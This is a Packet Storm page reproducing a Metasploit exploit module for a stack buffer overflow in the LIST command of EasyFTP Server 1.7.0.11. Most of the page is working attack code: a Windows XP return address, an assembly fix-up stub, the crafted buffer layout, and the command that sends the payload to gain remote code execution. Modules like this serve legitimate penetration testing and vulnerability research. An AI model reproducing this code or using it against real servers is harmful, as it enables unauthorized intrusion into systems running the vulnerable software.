exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow

EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow
Posted Jul 27, 2010
Authored by jduck, Karn Ganeshan, MFR | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11. credit goes to Karn Ganeshan. NOTE: Although, this is likely to exploit the same vulnerability as the 'easyftp_cwd_fixret' exploit, it uses a slightly different vector.

tags | exploit, overflow
SHA-256 | e0ad32d2bd863526c4c30afdbdbb2363ca018d9f92d5dd8adb0cbbb6853e1250

EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow

Change Mirror Download
##
# $Id: easyftp_list_fixret.rb 9935 2010-07-27 02:25:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR & VAS TEAM : just testing howto convert exploits to metasploit modules.
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
credit goes to Karn Ganeshan.

NOTE: Although, this is likely to exploit the same vulnerability as the
'easyftp_cwd_fixret' exploit, it uses a slightly different vector.
},
'Author' =>
[
'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version
'MFR', # convert to metasploit format.
'jduck' # modified to use fix-up stub (works with bigger payloads)
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9935 $',
'References' =>
[
[ 'OSVDB', '62134' ],
[ 'URL', 'http://www.exploit-db.com/exploits/14400/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/14451/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x0a\x0d\x2f\x5c",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 - Version 2002', { 'Ret' => 0x7e49732b } ], # call edi from user32.dll (v5.1.2600.5512)
],
'DisclosureDate' => 'July 5 2010',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /BigFoolCat/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connect_login

# NOTE:
# This exploit jumps to edi, which happens to point at a partial version of
# the 'buf' string in memory. The fixRet below fixes up the code stored on the
# stack and then jumps there to execute the payload. The value in esp is used
# with an offset for the fixup.
fixRet_asm = %q{
mov edi,esp
mov [edi], 0xfeedfed5
add edi, 0xfffffff4
mov byte ptr [edi], 0xc0
add edi,4
mov [edi], 0xdeadbeef
add edi, 0xffffff24
add esp, 0xfffffe04
jmp edi
}
fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string

buf = ''

print_status("Prepending fixRet...")
buf << fixRet
buf << make_nops(0x30 - buf.length)

print_status("Adding the payload...")
buf << payload.encoded

# Patch the original stack data into the fixer stub
buf[4, 4] = buf[268 + 8, 4]
buf[16, 1] = buf[268-4, 1]
buf[22, 4] = buf[268, 4]

print_status("Overwriting part of the payload with target address...")
buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes

print_status("Sending exploit buffer...")
send_cmd( ['LIST', buf] , false)

handler
disconnect
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close